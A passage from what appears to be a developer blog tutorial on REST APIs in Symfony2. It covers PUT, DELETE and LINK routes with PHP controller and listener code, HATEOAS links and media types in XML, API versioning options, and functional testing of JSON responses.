<p>Editing a resource means you know it, so you will perform a <code class="language-plaintext highlighter-rouge">PUT</code> request on
this resource:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">acme_demo_user_edit</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users/{id}</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">edit</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">PUT</span>
</code></pre></div></div>
<p>Both <strong>PUT</strong> and <strong>PATCH</strong> methods have to return a <strong>204</strong> status code standing
for <code class="language-plaintext highlighter-rouge">No Content</code>, and meaning everything is ok, go ahead. In the context of this
blog post, <strong>PUT</strong> is exclusively used to <strong>update existing resources</strong>, not to
create new ones. That is why you have to return a <code class="language-plaintext highlighter-rouge">204</code> status code.</p>
<p>If you want to create new resources at a given URI, then you will have to update
the code above by removing the use of a ParamConverter, and create a new user in
case it does not exist:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">editAction</span><span class="p">(</span><span class="nv">$id</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="kc">null</span> <span class="o">===</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nc">UserQuery</span><span class="o">::</span><span class="nf">create</span><span class="p">()</span><span class="o">-></span><span class="nf">findPk</span><span class="p">(</span><span class="nv">$id</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">();</span>
<span class="nv">$user</span><span class="o">-></span><span class="nf">setId</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">processForm</span><span class="p">(</span><span class="nv">$user</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this case, your method can return either <code class="language-plaintext highlighter-rouge">204</code> if the resource exists or
<code class="language-plaintext highlighter-rouge">201</code> with a <code class="language-plaintext highlighter-rouge">Location</code> header if a new resource has been created.</p>
<p>Thatās it! What about deleting resources now?</p>
<h3 id="delete">DELETE</h3>
<p>Deleting a resource is super easy. Add a new route:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">acme_demo_user_delete</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users/{id}</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">remove</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">DELETE</span>
</code></pre></div></div>
<p>And, write a short method:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="cd">/**
* @Rest\View(statusCode=204)
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">removeAction</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$user</span><span class="o">-></span><span class="nb">delete</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In a few lines of code, you have a fully working API that exposes <strong>CRUD</strong>
operations in a safe way. But now, what about adding relationship between users,
like friendship?</p>
<p><em>How to retrieve the friends for a given user in REST?</em> We just have to consider
friends as a collection of users owned by the user. Letās implement that.</p>
<h3 id="the-friendship-algorithm">The Friendship Algorithm</h3>
<p>First, we have to create a new route. As we consider the friends as a collection
owned by a user, we will fetch this collection directly on a resource:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">acme_demo_user_get_friends</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users/{id}/friends</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">getFriends</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">GET</span>
</code></pre></div></div>
<p>The action in the controller looks like:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getFriendsAction</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s1">'friends'</span> <span class="o">=></span> <span class="nv">$user</span><span class="o">-></span><span class="nf">getFriends</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Thatās it. Now, think about how to represent the process of becoming friend with
another user. <em>How would you manage that in a REST approach?</em> You canāt use <code class="language-plaintext highlighter-rouge">POST</code>
to the collection of friends as you wonāt create anything Both users already
exist. You canāt use <code class="language-plaintext highlighter-rouge">PUT</code> as you donāt really want to replace the whole
collection, and it seems a bit harsh.</p>
<p>Well, the HTTP procotol describes a <code class="language-plaintext highlighter-rouge">LINK</code> HTTP verb that solves this problem.
It says:</p>
<blockquote>
<p>The LINK method establishes one or more Link relationships between
the existing resource identified by the Request-URI and other
existing resources.</p>
</blockquote>
<p>Thatās exactly what we need. We want to link two resources, we should never
forget resources while we build APIs. So, how to do that in Symfony2?</p>
<p>My approach is to rely on a request listener here. The client will perform a
<code class="language-plaintext highlighter-rouge">LINK</code> request on a resource, and will send at least one <strong>Link</strong> header:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LINK /users/1
Link: <http://example.com/users/2>; rel="friend"
Link: <http://example.com/users/3>; rel="friend"
</code></pre></div></div>
<p>Using a request listener is a nice option because it allows you to have clean
inputs in your action. The aim of this action is to link objects after all, we
donāt want to play with URIs in the controller. The transformation has to be
done before.</p>
<p>The request listener gets those <strong>Link</strong> headers, and uses the <code class="language-plaintext highlighter-rouge">RouterMatcher</code>
part of Symfony2 to retrieve the controller and the method names. It also
gets the parameters.</p>
<p>In other words, it has all information to create a controller, and to call the
right method on it with the right parameters. In our example, for each <strong>Link</strong>
header, it calls the <code class="language-plaintext highlighter-rouge">getUser()</code> action on the <code class="language-plaintext highlighter-rouge">UserController</code> controller.
Thatās why I didnāt use ParamConverters, it allows me to pass the <em>id</em> value,
and to get my resource. I make two assumptions:</p>
<ul>
<li>if the user doesnāt exist, I will get an exception;</li>
<li>I will get an array as returned value because I use the <code class="language-plaintext highlighter-rouge">View</code> annotation.</li>
</ul>
<p>Once I get my resource objects, I put them in the requestās attributes, and thatās
all for the listener. Here is the code:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\DemoBundle\EventListener</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpKernel\Event\GetResponseEvent</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpKernel\Controller\ControllerResolverInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Routing\Matcher\UrlMatcherInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpFoundation\Request</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpKernel\HttpKernelInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpKernel\KernelEvents</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpKernel\Event\FilterControllerEvent</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">LinkRequestListener</span>
<span class="p">{</span>
<span class="cd">/**
* @var ControllerResolverInterface
*/</span>
<span class="k">private</span> <span class="nv">$resolver</span><span class="p">;</span>
<span class="k">private</span> <span class="nv">$urlMatcher</span><span class="p">;</span>
<span class="cd">/**
* @param ControllerResolverInterface $controllerResolver The 'controller_resolver' service
* @param UrlMatcherInterface $urlMatcher The 'router' service
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="kt">ControllerResolverInterface</span> <span class="nv">$controllerResolver</span><span class="p">,</span> <span class="kt">UrlMatcherInterface</span> <span class="nv">$urlMatcher</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">resolver</span> <span class="o">=</span> <span class="nv">$controllerResolver</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">urlMatcher</span> <span class="o">=</span> <span class="nv">$urlMatcher</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">onKernelRequest</span><span class="p">(</span><span class="kt">GetResponseEvent</span> <span class="nv">$event</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$event</span><span class="o">-></span><span class="nf">getRequest</span><span class="p">()</span><span class="o">-></span><span class="n">headers</span><span class="o">-></span><span class="nf">has</span><span class="p">(</span><span class="s1">'link'</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$links</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="nv">$header</span> <span class="o">=</span> <span class="nv">$event</span><span class="o">-></span><span class="nf">getRequest</span><span class="p">()</span><span class="o">-></span><span class="n">headers</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'link'</span><span class="p">);</span>
<span class="cm">/*
* Due to limitations, multiple same-name headers are sent as comma
* separated values.
*
* This breaks those headers into Link headers following the format
* http://tools.ietf.org/html/rfc2068#section-19.6.2.4
*/</span>
<span class="k">while</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^((?:[^"]|"[^"]*")*?),/'</span><span class="p">,</span> <span class="nv">$header</span><span class="p">,</span> <span class="nv">$matches</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$header</span> <span class="o">=</span> <span class="nb">trim</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$header</span><span class="p">,</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$matches</span><span class="p">[</span><span class="mi">0</span><span class="p">])));</span>
<span class="nv">$links</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$matches</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$header</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$links</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$header</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$requestMethod</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">urlMatcher</span><span class="o">-></span><span class="nf">getContext</span><span class="p">()</span><span class="o">-></span><span class="nf">getMethod</span><span class="p">();</span>
<span class="c1">// Force the GET method to avoid the use of the</span>
<span class="c1">// previous method (LINK/UNLINK)</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">urlMatcher</span><span class="o">-></span><span class="nf">getContext</span><span class="p">()</span><span class="o">-></span><span class="nf">setMethod</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">);</span>
<span class="c1">// The controller resolver needs a request to resolve the controller.</span>
<span class="nv">$stubRequest</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Request</span><span class="p">();</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$links</span> <span class="k">as</span> <span class="nv">$idx</span> <span class="o">=></span> <span class="nv">$link</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$linkParams</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s1">';'</span><span class="p">,</span> <span class="nb">trim</span><span class="p">(</span><span class="nv">$link</span><span class="p">));</span>
<span class="nv">$resource</span> <span class="o">=</span> <span class="nb">array_shift</span><span class="p">(</span><span class="nv">$linkParams</span><span class="p">);</span>
<span class="nv">$resource</span> <span class="o">=</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'/<|>/'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$resource</span><span class="p">);</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nv">$route</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">urlMatcher</span><span class="o">-></span><span class="k">match</span><span class="p">(</span><span class="nv">$resource</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="err">\</span><span class="nc">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// If we don't have a matching route we return</span>
<span class="c1">// the original Link header</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$stubRequest</span><span class="o">-></span><span class="n">attributes</span><span class="o">-></span><span class="nf">replace</span><span class="p">(</span><span class="nv">$route</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="kc">false</span> <span class="o">===</span> <span class="nv">$controller</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">resolver</span><span class="o">-></span><span class="nf">getController</span><span class="p">(</span><span class="nv">$stubRequest</span><span class="p">))</span> <span class="p">{</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Make sure @ParamConverter and friends are handled</span>
<span class="nv">$subEvent</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FilterControllerEvent</span><span class="p">(</span><span class="nv">$event</span><span class="o">-></span><span class="nf">getKernel</span><span class="p">(),</span> <span class="nv">$controller</span><span class="p">,</span> <span class="nv">$stubRequest</span><span class="p">,</span> <span class="nc">HttpKernelInterface</span><span class="o">::</span><span class="no">MASTER_REQUEST</span><span class="p">);</span>
<span class="nv">$event</span><span class="o">-></span><span class="nf">getDispatcher</span><span class="p">()</span><span class="o">-></span><span class="nf">dispatch</span><span class="p">(</span><span class="nc">KernelEvents</span><span class="o">::</span><span class="no">CONTROLLER</span><span class="p">,</span> <span class="nv">$subEvent</span><span class="p">);</span>
<span class="nv">$controller</span> <span class="o">=</span> <span class="nv">$subEvent</span><span class="o">-></span><span class="nf">getController</span><span class="p">();</span>
<span class="nv">$arguments</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">resolver</span><span class="o">-></span><span class="nf">getArguments</span><span class="p">(</span><span class="nv">$stubRequest</span><span class="p">,</span> <span class="nv">$controller</span><span class="p">);</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nb">call_user_func_array</span><span class="p">(</span><span class="nv">$controller</span><span class="p">,</span> <span class="nv">$arguments</span><span class="p">);</span>
<span class="c1">// By convention the controller action must return an array</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$result</span><span class="p">))</span> <span class="p">{</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// The key of first item is discarded</span>
<span class="nv">$links</span><span class="p">[</span><span class="nv">$idx</span><span class="p">]</span> <span class="o">=</span> <span class="nb">current</span><span class="p">(</span><span class="nv">$result</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="err">\</span><span class="nc">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$event</span><span class="o">-></span><span class="nf">getRequest</span><span class="p">()</span><span class="o">-></span><span class="n">attributes</span><span class="o">-></span><span class="nf">set</span><span class="p">(</span><span class="s1">'links'</span><span class="p">,</span> <span class="nv">$links</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">urlMatcher</span><span class="o">-></span><span class="nf">getContext</span><span class="p">()</span><span class="o">-></span><span class="nf">setMethod</span><span class="p">(</span><span class="nv">$requestMethod</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now, you can create a new route:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">acme_demo_user_link</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users/{id}</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">link</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">LINK</span>
</code></pre></div></div>
<p>And the code of the action looks like:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="cd">/**
*Ā @Rest\View(statusCode=204)
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">linkAction</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">,</span> <span class="kt">Request</span> <span class="nv">$request</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$request</span><span class="o">-></span><span class="n">attributes</span><span class="o">-></span><span class="nf">has</span><span class="p">(</span><span class="s1">'links'</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">HttpException</span><span class="p">(</span><span class="mi">400</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$request</span><span class="o">-></span><span class="n">attributes</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'links'</span><span class="p">)</span> <span class="k">as</span> <span class="nv">$u</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$u</span> <span class="k">instanceof</span> <span class="nc">User</span><span class="p">)</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">NotFoundHttpException</span><span class="p">(</span><span class="s1">'Invalid resource'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$user</span><span class="o">-></span><span class="nf">hasFriend</span><span class="p">(</span><span class="nv">$u</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">HttpException</span><span class="p">(</span><span class="mi">409</span><span class="p">,</span> <span class="s1">'Users are already friends'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$user</span><span class="o">-></span><span class="nf">addFriend</span><span class="p">(</span><span class="nv">$u</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$user</span><span class="o">-></span><span class="nf">save</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If users are already friends, you will get a response with a <strong><code class="language-plaintext highlighter-rouge">409</code></strong> status
code which means <em>Conflict</em>. If there is no link header, itās a bad request
(<code class="language-plaintext highlighter-rouge">400</code>).</p>
<p>And it would be the same thing to remove friends. There is a <code class="language-plaintext highlighter-rouge">UNLINK</code> HTTP verb
too.</p>
<p>Last thing I didnāt explain is the <code class="language-plaintext highlighter-rouge">PATCH</code> verb, I mean what would be a use case
for such a verb? The answer is partial update or every other methods that are
either not safe, unsure or not idempotent. If you have a custom API method, and
you donāt know which verb to use, <code class="language-plaintext highlighter-rouge">PATCH</code> is probably the answer.</p>
<p>Assuming you allow your users to change their email thanks to a third party
client, then again itās for some good business reasons. This client uses a two
steps process. The user asks for changing his email, he gets an email with a
link and this link allows him to change his email. Letās skip the first part
and focus on the second one. The user sends a new password to the client, and
the client has to call your API.
Either this client will fetch the resource, and replace it or you are smart and
you provide a <code class="language-plaintext highlighter-rouge">PATCH</code> method.</p>
<h3 id="lets-patch-the-world">Letās PATCH the world</h3>
<p>This section has been removed as it described a wrong way to use the <code class="language-plaintext highlighter-rouge">PATCH</code>
method. You can read this: <a href="/2014/02/14/please-don't-patch-like-that/">Please. Donāt Patch Like An
Idiot.</a>. It covers how to update
userās email, using the <code class="language-plaintext highlighter-rouge">PATCH</code> method the right way, but not in PHP
unfortunately.</p>
<p>So now, whatās the plan? We use <code class="language-plaintext highlighter-rouge">GET</code>, <code class="language-plaintext highlighter-rouge">POST</code>, <code class="language-plaintext highlighter-rouge">PUT</code>, <code class="language-plaintext highlighter-rouge">DELETE</code>, <code class="language-plaintext highlighter-rouge">LINK</code>, and
<code class="language-plaintext highlighter-rouge">UNLINK</code> verbs. We are able to create, read, update, delete a user. We can get
all users, and add relationships between them.</p>
<p>Actually, regarding the <a href="http://www.crummy.com/writing/speaking/2008-QCon/act3.html">Richardson Maturity
Model</a>,
we just covered the level 2. Letās take a look at <strong>HATEOAS</strong> and unlock the
level 3!</p>
<p><img src="http://williamdurand.fr/images/posts/richardson_maturity_model.png" alt="" /></p>
<h3 id="hate-who">Hate who?</h3>
<p>HATEOAS is not about hating people, but you could hate this movement if you are
a true pragmatic programmer. It basically means <strong>H</strong>ypermedia <strong>A</strong>s <strong>T</strong>he
<strong>E</strong>ngine <strong>O</strong>f <strong>A</strong>pplication <strong>S</strong>tate. To me, it looks like a <strong>semantic
dimension</strong> you bring into your APIs.</p>
<p>Earlier in this article I talked about the format used to exchange information
between a client and your API. JSON is not the best choice when you want to
follow HATEOAS principles even if some
<a href="https://github.com/kevinswiber/siren">people tried to provide solutions</a>.</p>
<p>Letās convert our <em>User</em> representation in XML:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><user></span>
<span class="nt"><id></span>999<span class="nt"></id></span>
<span class="nt"><username></span>xxxx<span class="nt"></username></span>
<span class="nt"><email></span>xxxx@example.org<span class="nt"></email></span>
<span class="nt"></user></span>
</code></pre></div></div>
<p>This is the output you could get by requesting the XML format as a client. There
is nothing HATEOAS here. The first step is the addition of <strong>links</strong>:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><user></span>
<span class="nt"><id></span>999<span class="nt"></id></span>
<span class="nt"><username></span>xxxx<span class="nt"></username></span>
<span class="nt"><email></span>xxxx@example.org<span class="nt"></email></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users/999"</span> <span class="na">rel=</span><span class="s">"self"</span> <span class="nt">/></span>
<span class="nt"></user></span>
</code></pre></div></div>
<p>This was easy, we just added the link that references the user you fetched. But
if you get a paginate collection of users, you could get:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><users></span>
<span class="nt"><user></span>
<span class="nt"><id></span>999<span class="nt"></id></span>
<span class="nt"><username></span>xxxx<span class="nt"></username></span>
<span class="nt"><email></span>xxxx@example.org<span class="nt"></email></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users/999"</span> <span class="na">rel=</span><span class="s">"self"</span> <span class="nt">/></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users/999/friends"</span> <span class="na">rel=</span><span class="s">"friends"</span> <span class="nt">/></span>
<span class="nt"></user></span>
<span class="nt"><user></span>
<span class="nt"><id></span>123<span class="nt"></id></span>
<span class="nt"><username></span>foobar<span class="nt"></username></span>
<span class="nt"><email></span>foobar@example.org<span class="nt"></email></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users/123"</span> <span class="na">rel=</span><span class="s">"self"</span> <span class="nt">/></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users/123/friends"</span> <span class="na">rel=</span><span class="s">"friends"</span> <span class="nt">/></span>
<span class="nt"></user></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users?page=1"</span> <span class="na">rel=</span><span class="s">"prev"</span> <span class="nt">/></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users?page=2"</span> <span class="na">rel=</span><span class="s">"self"</span> <span class="nt">/></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users?page=3"</span> <span class="na">rel=</span><span class="s">"next"</span> <span class="nt">/></span>
<span class="nt"></users></span>
</code></pre></div></div>
<p>Now the client knows how to browse the collection, how to use the pager, and how
to fetch a user and/or its friends.</p>
<p>The second part is about adding <strong>media types</strong> to answer the question:
<strong>What?</strong>. What is this resource? What does it contain or what do I need to
create such a resource?</p>
<p>This part introduces your own <strong>content type</strong>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Type: application/vnd.yourname.something+xml
</code></pre></div></div>
<p>Our users will now have the following content type:
<code class="language-plaintext highlighter-rouge">application/vnd.acme.user+xml</code>.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><user></span>
<span class="nt"><id></span>999<span class="nt"></id></span>
<span class="nt"><username></span>xxxx<span class="nt"></username></span>
<span class="nt"><email></span>xxxx@example.org<span class="nt"></email></span>
<span class="nt"><link</span> <span class="na">href=</span><span class="s">"http://example.com/users/999"</span> <span class="na">rel=</span><span class="s">"self"</span> <span class="nt">/></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">"friends"</span>
<span class="na">type=</span><span class="s">"application/vnd.acme.user+xml"</span>
<span class="na">href=</span><span class="s">"http://example.com/users/999/friends"</span> <span class="nt">/></span>
<span class="nt"></user></span>
</code></pre></div></div>
<p>Last, but not the least, you can add versioning to your API in three different
ways. First, you can add the version number in your URIs, this is the easy way:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/api/v1/users
</code></pre></div></div>
<p>You can use your new content type:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/vnd.acme.user-v1+xml
</code></pre></div></div>
<p>Or you can also use a qualifier in your <strong>Accept</strong> header, that way you donāt
touch your content type:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>application/vnd.acme.user+xml;v=1
</code></pre></div></div>
<p>Itās really up to you. The first solution is easy but less RESTful than the two
other solutions. But those solutions require more smart clients.</p>
<h3 id="testing">Testing</h3>
<p>To be honest, if you decide to expose your API to your customers, this section
is the most important. You can decide to follow the REST approach or not, but
your API has to work perfectly, and that means well tested.</p>
<p>I use to test APIs I build with functional tests, that means I consider the
system as a black box. Symfony2 embeds a nice
<a href="http://symfony.com/doc/master/book/testing.html#working-with-the-test-client">Client</a>
which allows you to call your API methods directly in your test classes:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="nv">$client</span> <span class="o">=</span> <span class="k">static</span><span class="o">::</span><span class="nf">createClient</span><span class="p">();</span>
<span class="nv">$crawler</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-></span><span class="nf">request</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="s1">'/users'</span><span class="p">);</span>
<span class="nv">$response</span> <span class="o">=</span> <span class="nv">$crawler</span><span class="o">-></span><span class="nf">getResponse</span><span class="p">();</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertJsonResponse</span><span class="p">(</span><span class="nv">$response</span><span class="p">,</span> <span class="mi">200</span><span class="p">);</span>
</code></pre></div></div>
<p>I use to use my own <code class="language-plaintext highlighter-rouge">WebTestCase</code> class with a <code class="language-plaintext highlighter-rouge">assertJsonResponse()</code> method:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="k">protected</span> <span class="k">function</span> <span class="n">assertJsonResponse</span><span class="p">(</span><span class="nv">$response</span><span class="p">,</span> <span class="nv">$statusCode</span> <span class="o">=</span> <span class="mi">200</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertEquals</span><span class="p">(</span>
<span class="nv">$statusCode</span><span class="p">,</span> <span class="nv">$response</span><span class="o">-></span><span class="nf">getStatusCode</span><span class="p">(),</span>
<span class="nv">$response</span><span class="o">-></span><span class="nf">getContent</span><span class="p">()</span>
<span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertTrue</span><span class="p">(</span>
<span class="nv">$response</span><span class="o">-></span><span class="n">headers</span><span class="o">-></span><span class="nf">contains</span><span class="p">(</span><span class="s1">'Content-Type'</span><span class="p">,</span> <span class="s1">'application/json'</span><span class="p">),</span>
<span class="nv">$response</span><span class="o">-></span><span class="n">headers</span>
<span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This is the first check I do after a call to the API. If itās ok, then I can
make more assertions related to the content I fetched.</p>
<p>When you write tests for your APIs, test everything you can think about. Donāt
forget to test bad requests, and to have at least one test method for each
status code you can return. Itās important because, even if there is a problem,
you have to return the right status code, and the right message to the clients.
